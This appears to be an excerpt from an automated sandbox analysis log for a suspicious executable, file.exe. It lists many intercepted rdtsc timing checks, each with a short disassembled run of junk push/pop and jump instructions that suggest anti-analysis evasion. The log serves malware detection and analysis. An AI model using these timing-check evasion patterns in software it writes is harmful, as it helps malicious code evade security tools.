Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41BD39 second address: 41BD43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41B6CA second address: 41B6EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FD7BCC58FE5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41B9D0 second address: 41B9D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41E0DA second address: 41E10A instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD7BCC58FF8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41DC77 second address: 41DC7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41DC7D second address: 41DC85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41DC85 second address: 41DC89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41DC89 second address: 41DCC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD7BCC58FE8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007FD7BCC58FDEh 0x00000012 push edi 0x00000013 ja 00007FD7BCC58FD6h 0x00000019 pop edi 0x0000001a push eax 0x0000001b push edx 0x0000001c jp 00007FD7BCC58FD6h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41DCC9 second address: 41DCCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41DCCD second address: 41DCD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42227B second address: 422281 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4223A7 second address: 4223C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edx 0x00000007 pop edx 0x00000008 jmp 00007FD7BCC58FE1h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4223C7 second address: 4223DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCB87A1Ah 0x00000007 jo 00007FD7BCB87A16h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42257D second address: 422583 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 422583 second address: 4225AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD7BCB87A1Ch 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD7BCB87A23h 0x00000011 jo 00007FD7BCB87A16h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4225AF second address: 4225B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 422833 second address: 422845 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCB87A1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 422845 second address: 422868 instructions: 0x00000000 rdtsc 0x00000002 js 00007FD7BCC58FD8h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FD7BCC58FDEh 0x00000012 push eax 0x00000013 push edx 0x00000014 jns 00007FD7BCC58FD6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 422868 second address: 422878 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a jng 00007FD7BCB87A16h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4229B7 second address: 4229C7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FD7BCC58FDAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4229C7 second address: 4229D1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD7BCB87A22h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4229D1 second address: 422A00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FD7BCC58FD6h 0x0000000a jns 00007FD7BCC58FEEh 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push edx 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4255C2 second address: 4255CC instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD7BCB87A16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 425B9C second address: 425BC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FDDh 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007FD7BCC58FD6h 0x0000000f jmp 00007FD7BCC58FE4h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 425BC7 second address: 425BCD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42A258 second address: 42A25C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42A25C second address: 42A27D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD7BCB87A27h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42A27D second address: 42A292 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42A292 second address: 42A2B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCB87A21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e js 00007FD7BCB87A16h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42A42B second address: 42A437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42A437 second address: 42A43C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42A43C second address: 42A442 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42A5A1 second address: 42A5AD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jbe 00007FD7BCB87A16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42A5AD second address: 42A5B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42A5B3 second address: 42A5B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42A88B second address: 42A896 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42A896 second address: 42A8AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD7BCB87A20h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42A8AA second address: 42A8D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FE5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a js 00007FD7BCC58FEEh 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42A8D0 second address: 42A8D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42A8D4 second address: 42A8DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42AA60 second address: 42AA8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD7BCB87A1Dh 0x00000009 popad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD7BCB87A1Dh 0x00000012 jmp 00007FD7BCB87A1Bh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42AA8D second address: 42AA91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D8FD5 second address: 3D8FDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D8FDB second address: 3D9045 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FE3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007FD7BCC58FD8h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 mov edi, dword ptr [ebp+122D3934h] 0x0000002a push 00000004h 0x0000002c push 00000000h 0x0000002e push eax 0x0000002f call 00007FD7BCC58FD8h 0x00000034 pop eax 0x00000035 mov dword ptr [esp+04h], eax 0x00000039 add dword ptr [esp+04h], 00000014h 0x00000041 inc eax 0x00000042 push eax 0x00000043 ret 0x00000044 pop eax 0x00000045 ret 0x00000046 mov di, dx 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c push ebx 0x0000004d push edi 0x0000004e pop edi 0x0000004f pop ebx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42AD88 second address: 42AD95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FD7BCB87A50h 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42AD95 second address: 42ADC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD7BCC58FDFh 0x00000009 pop edi 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jmp 00007FD7BCC58FDBh 0x00000012 jmp 00007FD7BCC58FDEh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 434B3A second address: 434B40 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 434B40 second address: 434B53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD7BCC58FDFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 434B53 second address: 434B5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 432B25 second address: 432B2F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 432C8D second address: 432C9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD7BCB87A1Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 432E00 second address: 432E17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FE2h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 432E17 second address: 432E3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007FD7BCB87A29h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pushad 0x00000012 popad 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4333E4 second address: 4333E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4333E8 second address: 4333FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FD7BCB87A1Eh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4333FC second address: 433429 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD7BCC58FE8h 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b pushad 0x0000000c jng 00007FD7BCC58FD6h 0x00000012 jp 00007FD7BCC58FD6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 433988 second address: 43398E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43398E second address: 4339AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FD7BCC58FE5h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4339AA second address: 4339B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FD7BCB87A16h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4339B6 second address: 4339BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4339BA second address: 4339CC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jns 00007FD7BCB87A16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4339CC second address: 4339DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD7BCC58FDBh 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4339DF second address: 4339EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4339EA second address: 4339F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 433CA7 second address: 433CDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD7BCB87A1Fh 0x0000000b jmp 00007FD7BCB87A29h 0x00000010 popad 0x00000011 pushad 0x00000012 push edi 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 433CDC second address: 433CE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jng 00007FD7BCC58FDEh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 433CE9 second address: 433D0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD7BCB87A29h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 433D0C second address: 433D10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 433FB1 second address: 433FB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 433FB6 second address: 433FBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 433FBE second address: 433FC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 434265 second address: 43427E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FD7BCC58FD6h 0x0000000a jmp 00007FD7BCC58FDFh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 434542 second address: 434546 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 434810 second address: 434816 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 434816 second address: 434820 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FD7BCB87A16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 434820 second address: 434843 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FD7BCC58FE6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 439463 second address: 439494 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD7BCB87A22h 0x0000000b jmp 00007FD7BCB87A21h 0x00000010 jo 00007FD7BCB87A1Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 439494 second address: 4394A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4394A3 second address: 4394C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD7BCB87A23h 0x00000009 jmp 00007FD7BCB87A1Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43D35E second address: 43D377 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FDFh 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007FD7BCC58FD6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43D377 second address: 43D37B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43D37B second address: 43D389 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43D389 second address: 43D38F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43D38F second address: 43D393 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43D393 second address: 43D399 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43D399 second address: 43D39F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43D39F second address: 43D3A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FD7BCB87A16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43C558 second address: 43C55D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43C55D second address: 43C575 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FD7BCB87A20h 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43C575 second address: 43C57B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43C57B second address: 43C57F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43C821 second address: 43C83A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD7BCC58FE4h 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43C83A second address: 43C856 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCB87A27h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43C856 second address: 43C85E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43C9CA second address: 43C9EC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 jns 00007FD7BCB87A16h 0x0000000b pop edx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD7BCB87A1Fh 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43C9EC second address: 43C9F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007FD7BCC58FD6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43C9F9 second address: 43C9FE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
